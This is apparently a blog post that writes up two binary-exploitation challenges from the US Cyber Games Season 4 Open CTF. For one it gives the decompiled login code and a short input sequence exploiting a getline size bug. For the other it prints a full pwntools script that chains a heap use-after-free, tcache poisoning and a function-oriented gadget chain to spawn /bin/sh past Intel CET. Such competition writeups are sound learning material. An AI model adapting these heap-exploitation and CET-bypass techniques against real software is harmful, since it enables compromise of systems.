USCG S4 Open

back · home · ctf · posted 2024-06-08 · dichotomy of pwn, exploit vs bug complexity

Rant about CTF writeups

CTF writeups, who cares? The CTF is over. Why bother? What, you want extra good boy points for solving something? So you post a boring article with a gruesome level of minutia that nobody cares about?

But, I really like reading some CTF writeups. Namely:

None of these feel monotonous in the way that some writeups do ("first I did X. Then I did Y. Then I did Z."). I want to read about human versus idea, not robot CTF-er versus mechanical series of roadblocks!

(I also like reading writeups by people who are new to doing CTFs, even if they're mundane. (Also I like reading mundane writeups when I'm working on something similar, but I can't get motivated to write exploits as a form of knowledge documentation since it's such an inefficient way to represent information if your goal is to actually convey a concept...))

So, here's my narrative. What do pwn challenges look like across a certain range of expression? And how does that make us feel? Pretty good maybe?

I had some time over the weekend to play in the USCG (US Cyber Games) Season 4 Open, and I did some pwn challenges. Two of them, exfil and leapfrog, both by LMS57, I think are a good showcase of fun pwn challs, in that one has a pretty simple bug but wicked (intended) exploit complexity, and the other has a sneaky bug, and exploitation is trivial. So like:

complex bug <-------|-------------------------------------|-----> complex exploit
                  exfil                                leapfrog

Of course it's more of an n-dimensional plane (with these two not being at opposite ends), but I like these because they fall pretty cleanly along this one dimension I made up. Or like, complexity of state space you discover with your interaction with the environment (pepsipu challenges), versus complexity built into the challenge (MetaCTF challenges).

hard bug, simple exploit

exfil was a small binary running on normal Linux with a normal GNU libc. Here's the wall of text code ( No source provided -- I made it look nice with Ghidra's struct editor :^) ):

void login() {
  __ssize_t err;
  size_t newline_dst;
  init_struct auth_struct;
  int name_length;
  int user_input [3];
  char *name_buf_ptr;
  
  lms_init(&auth_struct);
  do {
    while( true ) {
      name_length = 0;
      puts("Welcome to the challenge!");
      puts("0. Login as an admin");
      puts("1. Login as a user");
      printf("Choose an option: ");
      scanf(" %d",user_input);
      if (user_input[0] == 1) break;
      if ((user_input[0] == 3) && (login_struct != (init_struct *)0x0)) {
        if (login_struct->auth_level == 0) {
          puts("You do not have admin perms to opperate this!");
        }
        else {
          /* vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
             Reaching this code is our goal!
             vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv */
          (*(code *)login_struct->win_func)();
        }
      }
      else {
        puts("Invalid choice.\n");
      }
    }
    printf("How long is your name: ");
    scanf("%d",&name_length);
    getchar();
    
    /**************
     * BUG 1 HERE *
     *************/
    if (auth_struct.name_length < name_length) {
      free(auth_struct.name_buf);
      auth_struct.name_buf = (void *)0x0;
      auth_struct.name_buf = malloc((long)name_length);
    }
    printf("Enter your name: ");
    
    /**************
     * BUG 2 HERE *
     *************/
    err = getline((char **)&auth_struct.name_buf,(size_t *)&name_length,stdin);
    
    name_buf_ptr = (char *)auth_struct.name_buf;
    if (err == 0) {
      puts("Error reading input.");
    }
    else {
      auth_struct.name_length = name_length;
      newline_dst = strcspn((char *)auth_struct.name_buf,"\n");
      name_buf_ptr[newline_dst] = '\0';
      non_admin_function(&auth_struct);
      login_struct = &auth_struct;
    }
    /* This enables us to hit the goal code, by writing auth level and win function */
    if (user_input[0] == 0) {
      admin_function(&auth_struct);
      login_struct = &auth_struct;
    }
  } while( true );
}

Go on, what do you think the bug is?

It's nice and sneaky-- the biggest issue is the cast to __ssize_t (8 bytes on this platform) from int (4 bytes). This means we include our user input, which has to be 1, in our input to getline. So instead of our size 10 n looking like:

0000000a

It looks like:

000000010000000a

So we have our basically unlimited heap overflow, but it sounds like a pain to go from that to a stack write, which is the easiest way to get to the win function. Following intended solutions makes me feel real nice and obedient.

Secondly, getline sucks! The second parameter is not a limit, but it's just the indicated size of the passed buffer. If you write more data, it'll change the buffer and size! Since I don't feel like writing 000000010000000a bytes (and I wouldn't be able to get 0 in the spot where 1 is currently anyway, which is the goal), we need to do something else.

Instead, we clone the stinky glibc repo and read the getline source code, which is really getdelim:

ssize_t
__getdelim (char **lineptr, size_t *n, int delimiter, FILE *fp)
{
  /* snip */
  if (*lineptr == NULL || *n == 0)
    {
      *n = 120; // Oh? Writing a 8-byte value with a zero where we want it?
      *lineptr = (char *) malloc (*n);
      /* snip */
    }
   /* snip */
}

Cool beans, so we just need to pass a null buffer. I love glibc!!! Live breathe die glibc!!!!!

Thanks to Mr. man and Mr. reading, I know malloc will fail and return null (and set errno) if the requested (unsigned) size is greater than PTRDIFF_MAX. Wtf is that?

# greppin
stdlib/stdint.h
199:#  define PTRDIFF_MAX		(9223372036854775807L)
203:#   define PTRDIFF_MAX		(2147483647L)
206:#   define PTRDIFF_MAX		(2147483647)

Ok sure, if it's one of those bottom two I can do that. Since we specify size as %d, we can do -2, then -1, to pass the "is this size bigger?" check, and get a huge unsigned size passed to malloc, which then causes getline to set a 8-byte value to our 4-byte size, zeroing out our user input, and hitting the admin code.

The final exploit is not even a script, here's me inputting it:

Welcome to the challenge!
0. Login as an admin
1. Login as a user
Choose an option: $ 1
How long is your name: $ -2
Enter your name: $ hi
Hello, hi!

Welcome to the challenge!
0. Login as an admin
1. Login as a user
Choose an option: $ 1
How long is your name: $ -1
Enter your name: $ hi
Hello, hi!

Hello, hi! You have admin privileges.

Welcome to the challenge!
0. Login as an admin
1. Login as a user
Choose an option: $ 3
Flag: SIVUSCG{turns_out_size_t_is_not_an_int}

Wow! Sneaky bug, trivial exploitation complexity.

simple bug, hard exploit

In contrast to that. leapfrog was a binary running inside QEMU with a plugin to enforce Intel CET. I knew immediately that the intended solution was FOP, LMS's PhD thesis. (As it turns out, there were easier ways to exploit it, but I beelined to this). This also made it a lot easier, in theory, because all I had to do was port the exploit script to glibc 2.39 from his open source repo, which ran against glibc 2.37.9000.

So, the bug is a pretty easy heap UaF. But here's the exploit script:

# leapfrog
# 2024-06-07

# NOTE!: Almost the entirety of this script is ripped off from
# https://github.com/LMS57/FOP_Mythoclast/blob/main/examples/X64/scripts/binsh.py
 
from pwn import *

#################
# --- SETUP --- #
#################

context.terminal = ["tmux", "splitw", "-h"]
context.binary = binary = ELF("./chall", checksec=False)
libc = binary.libc

if args.REMOTE:
    context.noptrace = True
    p = remote("0.cloud.chals.io", 33799)
else:
    p = process(binary.path)

#######################
# Heap menu functions #
#######################

def send(b, a=b":"):
    p.sendlineafter(a, b)

def send_nonl(b, a=b":"):
    p.sendafter(a, b)

def create(index, size):
    send(b'1')
    send(str(index).encode())
    send(str(size).encode())

def edit(index, data):
    send(b'2')
    send(str(index).encode())
    send_nonl(data)

def delete(index):
    send(b'3')
    send(str(index).encode())

def show(index):
    send(b'4')
    send(str(index).encode())

def end():
    send(b'5')

##########
# sploit #
##########

# _dl_tunable_set_tcache_max
gadgets = {"_nss_files_endpwent": 0x13cab0,
"_dl_mcount_wrappe": 0x152510,
"__default_pthread_att": 0x91c60,
"_cache_sysconf": 0xb3470,
"_dl_tunable_set": 0x969b0,
"endttyent": 0x0fd900,
"__memset_sse": 0x0a5ec0,
"__libc_sa_len": 0x1087f0,
"trash": 0x4141414141414141,
}

def get_gadget_addr(symbol):
    if symbol in gadgets:
        addr = libc.address + gadgets[symbol]
        print("Using gadgets dict:", symbol, hex(addr))
    else:
        addr = libc.symbols[symbol]
        print("Using pwntools syms for:", symbol, hex(addr))
    return addr

gad_chain = ["trash",
"trash",
"trash",
"trash",
"trash",
"trash",
"trash",
"trash",
"trash",
"trash",
"trash",
"trash",
"_nss_files_endpwent",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
#  /
"_dl_mcount_wrappe",
"__default_pthread_att",
"_dl_tunable_set",
"__memset_sse",
"endttyent",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
# b
"__libc_sa_len",
"_dl_mcount_wrappe",
"__default_pthread_att",
"__hash_string",
"_dl_tunable_set",
"__memset_sse",
"_nss_files_endpwent",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
# i
"_dl_mcount_wrappe",
"__default_pthread_att",
"__hash_string",
"_dl_tunable_set",
"__memset_sse",
"_nss_files_endhostent",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
# n
"_dl_mcount_wrappe",
"__default_pthread_att",
"__hash_string",
"_dl_tunable_set",
"__memset_sse",
"endttyent",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
# /
"_dl_mcount_wrappe",
"__default_pthread_att",
"__hash_string",
"_dl_tunable_set",
"__memset_sse",
"_nss_files_endpwent",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__libc_sa_len",
"__libc_sa_len",
"__libc_sa_len",
# s
"_dl_mcount_wrappe",
"__default_pthread_att",
"__hash_string",
"_dl_tunable_set",
"__memset_sse",
"_nss_files_endprotoent",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
"__cache_sysconf",
# h
"_dl_mcount_wrappe",
"__default_pthread_att",
"__hash_string",
"_dl_tunable_set",
"__memset_sse",
"__default_pthread_att",
"system"]

p.readuntil(b"World: ")
system_addr = int(p.readline(), 16)
print("libc leak:", hex(system_addr))
libc_base = system_addr - libc.symbols.system
print("libc base:", hex(libc_base))
libc.address = libc_base

# get base heap leak
create(0,0x100)
create(1, 0x100)
delete(0)
show(0)
p.readuntil('Data: ')
leak = p.read(8)
leak = u64(leak)<<12
print("heap:", hex(leak))
delete(1)

# tcache dup
edit(1, p64((leak+0x10) ^ (leak>>12)))
create(1, 0x100)
edit(1, p64(0x1c) + p64(10000)) #fini_end
create(0, 0x100) 

ld_leak = libc_base + 0x1d7170
edit(0, b'\x07'*0x80 + p64(ld_leak-0x10)) # overwrite tcache_perthread_struct

create(2,24)
show(2)
p.readuntil('\x00'*10)
ld_base = u64(p.read(8)) - 0x13ff0
print("ld base:", hex(ld_base))

# elf address in ld (used for calculating position of dl_fini functions)
elf_map = ld_base + 0x362e0
print("elf_map:", hex(elf_map))
edit(0, b'\x07'*0x80 + p64(elf_map))

create(2,8)
inside_chunk = leak-0x30a8
edit(2, p64(inside_chunk))

edit(0, b'\x01'+ b'\x00'*0x7f + p64(elf_map+288))
create(3,8)
edit(3, p64(leak+0x3b0)) # overwrite elf_map for fini_end count

# reverse gadget list
gad_chain = gad_chain[::-1]
chain = b''
for x in gad_chain:
    chain += p64(get_gadget_addr(x))

print(len(chain))
create(4, 8000+8000)

# the most cursed thing ever
padding = (0x1a90+2296-8+0x2b8+0x98+0x640+0x640-0x368-8-16-0x60-len(chain)+8)
print("padding:", hex(padding))
edit(4, b'a'*padding + chain)

binsh = libc_base
print(hex(binsh))

payload_chunk_start = leak+0x4c0
edit(0, b'\x07'+ b'\x00'*0x7f + p64(payload_chunk_start))
end()

p.interactive()

The chain is basically straight from the paper, with the exception of modifying the character offsets (for building /bin/sh). The technique is basically writing a list of functions for some dispatcher gadget, and each function has some subtle side effect you use to get your desired outcome. If you want to read more about it here's the link.

Anyway

I guess my point is, pwn challenges are fun and computers are cool. And there's a large variety of expressions of problem complexity therein. Or something.

If you have any questions or feedback, please email my public inbox at ~sourque/public-inbox@lists.sr.ht.